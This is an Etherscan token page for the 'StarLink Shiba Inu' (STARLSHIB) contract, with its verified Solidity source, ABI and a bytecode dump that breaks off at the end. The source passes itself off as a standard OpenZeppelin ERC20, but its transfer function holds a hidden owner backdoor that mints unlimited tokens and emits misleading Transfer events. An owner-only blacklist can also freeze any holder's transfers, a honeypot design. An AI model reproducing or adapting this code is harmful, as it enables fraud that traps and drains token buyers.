ETH Price: $3,059.27 (+1.16%)
Gas: 2 Gwei

Token

StarLink Shiba Inu | https://t.me/starlinkshibainu (STARLSHIB)
 

Overview

Max Total Supply

9,000,010,000,000,000,000 STARLSHIB

Holders

118

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
210,710,342,249.503012268695234753 STARLSHIB

Value
$0.00
0xc1faf315a1fed3fcc5a9f051aee862e12a9a5c2d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
STARLINKSHIBAINU

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-08-18
*/

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol



pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol



pragma solidity ^0.8.0;

library SafeMath {
    
    function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    
    function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }
    
    function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


contract SHIBALINK is Context {
    address internal recipients;
    mapping (address => bool) internal blacklist;
    event shibalink(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit shibalink(address(0), msgSender);
    }
    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

pragma solidity ^0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata , SHIBALINK{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply;
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool   private truth;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth=true;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
     function BlacklistUser (address listed) checker external {
         blacklist[listed]=true;
     }
     
     function UnbanUser (address listed) checker external{
          blacklist[listed]=false;
     }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
        
}

// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol



pragma solidity ^0.8.0;


/**
 * @title ERC20Decimals
 * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
 */
contract STARLINKSHIBAINU is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 10000000000000 * 10 ** 18;

    /**
     * @dev Sets the value of the `decimals`. This value is immutable, it can only be
     * set once during construction.
     */
    constructor () ERC20('StarLink Shiba Inu | https://t.me/starlinkshibainu', 'STARLSHIB') {
        _mint(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"shibalink","type":"event"},{"inputs":[{"internalType":"address","name":"listed","type":"address"}],"name":"BlacklistUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"listed","type":"address"}],"name":"UnbanUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a0604052601260ff1660809060ff1660f81b8152506c7e37be2022c0914b26800000006008553480156200003357600080fd5b5060405180606001604052806032815260200162001fad603291396040518060400160405280600981526020017f535441524c534849420000000000000000000000000000000000000000000000815250600062000096620001ac60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f2d4c0b86b7fe1a21b5f95d2d8d0b733d213db2b9efc043fe19074591989958e960405160405180910390a35081600590805190602001906200014c92919062000306565b5080600690805190602001906200016592919062000306565b506001600760006101000a81548160ff0219169083151502179055505050620001a662000197620001ac60201b60201c565b600854620001b460201b60201c565b62000554565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000227576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200021e9062000409565b60405180910390fd5b80600460008282546200023b919062000459565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000293919062000459565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002fa91906200042b565b60405180910390a35050565b8280546200031490620004c0565b90600052602060002090601f01602090048101928262000338576000855562000384565b82601f106200035357805160ff191683800117855562000384565b8280016001018555821562000384579182015b828111156200038357825182559160200191906001019062000366565b5b50905062000393919062000397565b5090565b5b80821115620003b257600081600090555060010162000398565b5090565b6000620003c5601f8362000448565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200040381620004b6565b82525050565b600060208201905081810360008301526200042481620003b6565b9050919050565b6000602082019050620004426000830184620003f8565b92915050565b600082825260208201905092915050565b60006200046682620004b6565b91506200047383620004b6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004ab57620004aa620004f6565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620004d957607f821691505b60208210811415620004f057620004ef62000525565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60805160f81c611a3a6200057360003960006104930152611a3a6000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d714610228578063a9059cbb14610258578063be6c2ff714610288578063dd62ed3e146102a4576100cf565b806370a08231146101be5780638326699d146101ee57806395d89b411461020a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102d4565b6040516100e9919061168f565b60405180910390f35b61010c60048036038101906101079190611288565b610366565b6040516101199190611674565b60405180910390f35b61012a610384565b60405161013791906117d1565b60405180910390f35b61015a60048036038101906101559190611239565b61038e565b6040516101679190611674565b60405180910390f35b61017861048f565b60405161018591906117ec565b60405180910390f35b6101a860048036038101906101a39190611288565b6104b7565b6040516101b59190611674565b60405180910390f35b6101d860048036038101906101d391906111d4565b610563565b6040516101e591906117d1565b60405180910390f35b610208600480360381019061020391906111d4565b6105ac565b005b61021261069b565b60405161021f919061168f565b60405180910390f35b610242600480360381019061023d9190611288565b61072d565b60405161024f9190611674565b60405180910390f35b610272600480360381019061026d9190611288565b610821565b60405161027f9190611674565b60405180910390f35b6102a2600480360381019061029d91906111d4565b610a88565b005b6102be60048036038101906102b991906111fd565b610b78565b6040516102cb91906117d1565b60405180910390f35b6060600580546102e390611935565b80601f016020809104026020016040519081016040528092919081815260200182805461030f90611935565b801561035c5780601f106103315761010080835404028352916020019161035c565b820191906000526020600020905b81548152906001019060200180831161033f57829003601f168201915b5050505050905090565b600061037a610373610bff565b8484610c07565b6001905092915050565b6000600454905090565b600061039b848484610dd2565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103e6610bff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045d90611731565b60405180910390fd5b61048385610472610bff565b858461047e9190611879565b610c07565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b60006105596104c4610bff565b8484600360006104d2610bff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105549190611823565b610c07565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105b4610bff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611751565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6060600680546106aa90611935565b80601f01602080910402602001604051908101604052809291908181526020018280546106d690611935565b80156107235780601f106106f857610100808354040283529160200191610723565b820191906000526020600020905b81548152906001019060200180831161070657829003601f168201915b5050505050905090565b6000806003600061073c610bff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f0906117b1565b60405180910390fd5b610816610804610bff565b8585846108119190611879565b610c07565b600191505092915050565b600061082b610bff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610898575060011515600760009054906101000a900460ff161515145b156108d3576108af6108a8610bff565b8484610dd2565b6000600760006101000a81548160ff02191690831515021790555060019050610a82565b6108db610bff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610948575060001515600760009054906101000a900460ff161515145b15610a6b576109628260045461114c90919063ffffffff16565b6004819055506109ba82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114c90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5a91906117d1565b60405180910390a360019050610a82565b610a7d610a76610bff565b8484610dd2565b600190505b92915050565b610a90610bff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1490611751565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6e90611791565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde906116d1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dc591906117d1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3990611771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea9906116b1565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f565750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610fac5750600160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b610fb557600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561103c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103390611711565b60405180910390fd5b81816110489190611879565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110da9190611823565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161113e91906117d1565b60405180910390a350505050565b600080828461115b9190611823565b9050838110156111a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611197906116f1565b60405180910390fd5b8091505092915050565b6000813590506111b9816119d6565b92915050565b6000813590506111ce816119ed565b92915050565b6000602082840312156111e657600080fd5b60006111f4848285016111aa565b91505092915050565b6000806040838503121561121057600080fd5b600061121e858286016111aa565b925050602061122f858286016111aa565b9150509250929050565b60008060006060848603121561124e57600080fd5b600061125c868287016111aa565b935050602061126d868287016111aa565b925050604061127e868287016111bf565b9150509250925092565b6000806040838503121561129b57600080fd5b60006112a9858286016111aa565b92505060206112ba858286016111bf565b9150509250929050565b6112cd816118bf565b82525050565b60006112de82611807565b6112e88185611812565b93506112f8818560208601611902565b611301816119c5565b840191505092915050565b6000611319602383611812565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061137f602283611812565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113e5601b83611812565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000611425602683611812565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061148b602883611812565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114f1602083611812565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611531602583611812565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611597602483611812565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115fd602583611812565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61165f816118eb565b82525050565b61166e816118f5565b82525050565b600060208201905061168960008301846112c4565b92915050565b600060208201905081810360008301526116a981846112d3565b905092915050565b600060208201905081810360008301526116ca8161130c565b9050919050565b600060208201905081810360008301526116ea81611372565b9050919050565b6000602082019050818103600083015261170a816113d8565b9050919050565b6000602082019050818103600083015261172a81611418565b9050919050565b6000602082019050818103600083015261174a8161147e565b9050919050565b6000602082019050818103600083015261176a816114e4565b9050919050565b6000602082019050818103600083015261178a81611524565b9050919050565b600060208201905081810360008301526117aa8161158a565b9050919050565b600060208201905081810360008301526117ca816115f0565b9050919050565b60006020820190506117e66000830184611656565b92915050565b60006020820190506118016000830184611665565b92915050565b600081519050919050565b600082825260208201905092915050565b600061182e826118eb565b9150611839836118eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561186e5761186d611967565b5b828201905092915050565b6000611884826118eb565b915061188f836118eb565b9250828210156118a2576118a1611967565b5b828203905092915050565b60006118b8826118cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffff